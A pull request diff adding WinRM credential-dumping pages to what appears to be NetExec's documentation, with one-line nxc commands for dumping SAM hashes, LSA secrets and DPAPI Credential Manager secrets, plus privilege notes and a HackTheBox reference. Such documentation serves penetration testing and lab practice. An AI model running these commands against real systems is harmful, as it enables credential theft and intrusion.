Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 4 additions & 0 deletions SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -131,6 +131,10 @@
* [Authentication](winrm-protocol/authentication.md)
* [Command Execution](winrm-protocol/command-execution.md)
* [Defeating LAPS](winrm-protocol/defeating-laps.md)
* [Obtaining Credentials](winrm-protocol/obtaining-credentials/README.md)
* [Dump SAM](winrm-protocol/obtaining-credentials/dump-sam.md)
* [Dump LSA](winrm-protocol/obtaining-credentials/dump-lsa.md)
* [🆕 Dump DPAPI](winrm-protocol/obtaining-credentials/dump-dpapi.md)

## MSSQL protocol

Expand Down
16 changes: 16 additions & 0 deletions winrm-protocol/obtaining-credentials/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
# Obtaining Credentials

The following examples use a username and plaintext password, although user/hash combos work as well.

{% content-ref url="dump-sam.md" %}
[dump-sam.md](dump-sam.md)
{% endcontent-ref %}

{% content-ref url="dump-lsa.md" %}
[dump-lsa.md](dump-lsa.md)
{% endcontent-ref %}

{% content-ref url="dump-dpapi.md" %}
[dump-dpapi.md](dump-dpapi.md)
{% endcontent-ref %}

17 changes: 17 additions & 0 deletions winrm-protocol/obtaining-credentials/dump-dpapi.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
---
description: Dump DPAPI credentials using NetExec
---

# 🆕 Dump DPAPI

You can dump Credential Manager secrets for the connecting user with the following option: `--dpapi`.
Admin rights not needed.

```bash
nxc winrm <ip> -u user -p password --dpapi
```
### Example

The Puppy machine on HackTheBox is a good example of this technique

{% embed url="https://www.hackthebox.com/machines/puppy" %}
13 changes: 13 additions & 0 deletions winrm-protocol/obtaining-credentials/dump-lsa.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
# Dump LSA

### Dump LSA secrets
Extracts and downloads SECURITY registry hive, and uses secretsdump.py methods locally to dump secrets

{% hint style="danger" %}
Requires Domain Admin or Local Admin Priviledges on target Domain Controller
{% endhint %}

```bash
nxc winrm 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --lsa
```

13 changes: 13 additions & 0 deletions winrm-protocol/obtaining-credentials/dump-sam.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
# Dump SAM

### Dump SAM hashes
Extracts and downloads SAM registry hive, and uses secretsdump.py methods locally to dump hashes

{% hint style="warning" %}
You need at least local admin privilege on the remote target, use option **--local-auth** if your user is a local account
{% endhint %}

```bash
nxc winrm 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --sam
```